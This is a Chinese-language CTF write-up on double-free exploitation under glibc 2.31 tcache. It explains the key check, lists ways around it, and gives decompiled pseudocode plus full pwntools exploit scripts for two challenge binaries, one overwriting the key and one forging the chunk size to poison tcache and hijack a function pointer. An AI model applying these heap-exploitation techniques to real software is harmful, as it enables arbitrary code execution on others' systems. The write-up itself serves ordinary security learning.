【Pwn】堆学习之glibc2.31下的Double Free
0x1 Double Free是什么
· Double Free即同一个chunk被free两次。假设chunk_a被free两次,则链表中会出现如下结构:
|--------------head-------------|
|-chunk_a(next->chunk_a)-|
|---chunk_a(next->NULL)---|
|--------------NULL--------------|
此时进行一次malloc,chunk_a会正常返回给一个指针,但由于next->chunk_a,head会再一次指向chunk_a,导致下一次malloc返回的指针仍然是chunk_a,进而导致两个指针对同一个堆块进行读写。
0x2 glibc2.31对Double Free的保护机制
· 在一个堆块被放进tcache前,glibc会检查它的key,若key指向tcache,则该chunk会被视为可疑chunk,进行进一步检查。
· 进一步检查的机制是:glibc会到该chunk对应大小的tcache链表中查找该chunk的指针。若该chunk的指针已经存在,则报错。第一步对key的检查只是可疑信号,只有在tcache链表中发现改chunk的指针才会判定。
· 绕过方法:
· 修改key使chunk不进入检查机制
· 修改size使glibc不去chunk实际存在的bin检查
· 使chunk不进tcache
0x3 例题_1
0x1 保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
0x2 伪码
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( (unsigned int)read_ll() )
{
case 1u:
add();
break;
case 2u:
delete_chunk();
break;
case 3u:
edit();
break;
case 4u:
set_key();
break;
case 5u:
trigger();
break;
case 6u:
puts("bye");
return 0;
default:
puts("invalid");
break;
}
}
}
int add()
{
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_ll();
if ( num >= 8 )
return puts("invalid");
if ( alive[num] )
return puts("occupied");
chunks[num] = malloc(0x30uLL);
if ( !chunks[num] )
exit(0);
alive[num] = 1;
printf("content: ");
read_n(chunks[num], 48LL);
return puts("done");
}
int delete_chunk()
{
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_ll();
if ( num >= 8 || !chunks[num] )
return puts("invalid");
free((void *)chunks[num]);
alive[num] = 0;
return puts("done");
}
int edit()
{
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_ll();
if ( num >= 8 || !alive[num] )
return puts("invalid");
printf("content: ");
read_n(chunks[num], 48LL);
return puts("done");
}
int set_key()
{
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_ll();
if ( num >= 8 || !chunks[num] )
return puts("invalid");
printf("value: ");
*(_QWORD *)(chunks[num] + 8LL) = read_ull();
return puts("done");
}
int trigger()
{
if ( control )
return control();
else
return puts("nothing");
}
另,read_ll()将读取到的内容转换为长整型,read_n()固定读取48字节,有后门。
0x3 漏洞分析
· 拿shell方式与上一题相似,但由于edit()设置了UAF保护,不能直接写next。又set_key()允许覆写key,所以可以进行Double Free,先重复free一个chunk再malloc一个chunk,从而把该chunk变为可写空间,再通过edit改写free_chunk的next。
0x4 exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e'])
io = process('./pwn_patched')
#io = remote()
win = 0x401296
control = 0x4040e0
def memu(idx):
io.recvuntil('quit\n> ')
io.sendline(idx)
def add(idx, content):
memu(str(1))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.send(content)
def delete(idx):
memu(str(2))
io.recvuntil('idx: ')
io.sendline(idx)
def edit(idx, content):
memu(str(3))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.send(content)
def key(idx, value):
memu(str(4))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('value: ')
io.sendline(value)
def trigger():
memu(str(5))
add(str(0), 'A'*0x30)
delete(str(0))
key(str(0), b'0')
delete(str(0))
key(str(0), b'0')
delete(str(0))
add(str(1), p64(control)+b'A'*40)
add(str(2), b'\0'*0x30)
add(str(3), p64(win)+b'\0'*40)
gdb.attach(io)
trigger()
io.interactive()
0x5 错误思路
· exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e'])
io = process('./pwn_patched')
#io = remote()
win = 0x401296
control = 0x4040e0
def memu(idx):
io.recvuntil('quit\n> ')
io.sendline(idx)
def add(idx, content):
memu(str(1))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.send(content)
def delete(idx):
memu(str(2))
io.recvuntil('idx: ')
io.sendline(idx)
def edit(idx, content):
memu(str(3))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.send(content)
def key(idx, value):
memu(str(4))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('value: ')
io.sendline(value)
def trigger():
memu(str(5))
add(str(0), 'A'*0x30)
delete(str(0))
key(str(0), b'0')
delete(str(0))
add(str(1), 'B'*0x30)
payload1 = p64(control)
payload1 += b'C'*40
edit(str(1), payload1)
add(str(2), 'D'*0x30)
add(str(3), '\0'*0x30)
payload2 = p64(win)
payload2 += b'\0'*40
edit(str(3), payload2)
print('*****edit_has_done*****')
gdb.attach(io)
trigger()
print('*****trigger_has_done*****')
io.interactive()
· 错误原因:tcachebin有用于计bin内chunk数量的count,一个chunk被free进一个tcachebin时该bin的count会++,只有一个bin的count>0时,malloc时才会考虑从该bin拿取chunk。在这版exp中,只进行了两次free,导致count=2,两次malloc后虽然head已经指向control,但由于count==0,glibc已经不会再从该bin拿取chunk,因此不会返回control地址。
0x4 例题_2
0x1 保护
全关
0x2 伪码
· 大部分函数与上一题无大差别,add有改动,set_key变为set_size。
int add()
{
unsigned __int64 size; // [rsp+0h] [rbp-10h]
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_stoi();
if ( num >= 8 )
return puts("invalid");
if ( alive[num] )
return puts("occupied");
printf("size: ");
size = read_stoi_0();
if ( size <= 0x17 || size > 0x40 )
return puts("invalid");
chunks[num] = malloc(size);
if ( !chunks[num] )
exit(0);
reqs[num] = size;
alive[num] = 1;
printf("content: ");
read_n(chunks[num], size);
return puts("done");
}
int set_size()
{
unsigned __int64 value; // [rsp+0h] [rbp-10h]
unsigned int num; // [rsp+Ch] [rbp-4h]
printf("idx: ");
num = read_stoi();
if ( num >= 8 )
return puts("invalid");
if ( !chunks[num] )
return puts("invalid");
printf("value: ");
value = read_stoi_0();
if ( (value & 0xF) != 1 || value <= 0x20 || value > 0x61 )
return puts("invalid");
*(_QWORD *)(chunks[num] - 8LL) = value;
return puts("done");
}
0x3 解法
· 上一题是改key来绕过Double Free检测,这道题是改size,骗glibc去其他大小的bin去找该chunk,找不到就绕过成功。具体可以看exp的注释。
0x4 exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e'])
io = process('./pwn1_patched')
#io = remote()
control = 0x4040e0
win = 0x401296
def menu(idx):
io.recvuntil("quit\n> ")
io.sendline(idx)
def add(idx, size, content):
menu(str(1))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('size: ')
io.sendline(size)
io.recvuntil('content: ')
io.send(content)
def delete(idx):
menu(str(2))
io.recvuntil('idx: ')
io.sendline(idx)
def edit(idx, content):
menu(str(3))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.send(content)
def set_size(idx, value):
menu(str(4))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('value: ')
io.sendline(value)
def trigger():
menu(str(5))
'''
thinking......
A = malloc(0x30)
B = malloc(0x30)
free(A) | A --> tcache[0x40]
free(B) | B --> tcache[0x40]
| tcache[0x40]: head -> B -> A
set_size(B, 0x31)
free(B) | B --> tcache[0x30]
C = malloc(0x20)
C.next = &control | B.next = &control
D = malloc(0x30) | tcache[0x40]: head -> &control
E = malloc(0x30) | E = &control
edit(E, &win)
注:"|"前为操作,后为效果。
'''
#gdb.attach(io)
add(str(0), str(0x30), 'A'*0x30)
add(str(1), str(0x30), 'B'*0x30)
delete(str(0))
delete(str(1))
#先放两个0x40的chunk到tcache[0x40]
#chunk[0]是为了保证该bin的count>0,否则最后一步拿control地址时会因为count=0而无法从该bin中拿到地址。
#chunk[1]将被用于写入control地址,malloc时让head指向control
set_size(str(1), str(0x31))
delete(str(1))
#将chunk[1]的size写成0x31,free时glibc就会去tcache[0x30]检查,从而成功Double Free
add(str(2), str(0x20), p64(control)+b'\0'*0x18)
#拿出tcache[0x30]中的chunk并向其写入&control,tcache[0x40]中的chunk[1]的next也就变成了&control
add(str(3), str(0x30), 'D'*0x30)
add(str(4), str(0x30), 'E'*0x30)
edit(str(4), p64(win)+b'\0'*0x28)
#之后就是跟上一题一样,返回&control,写成win,调用trigger拿shell
trigger()
io.interactive()

浙公网安备 33010602011771号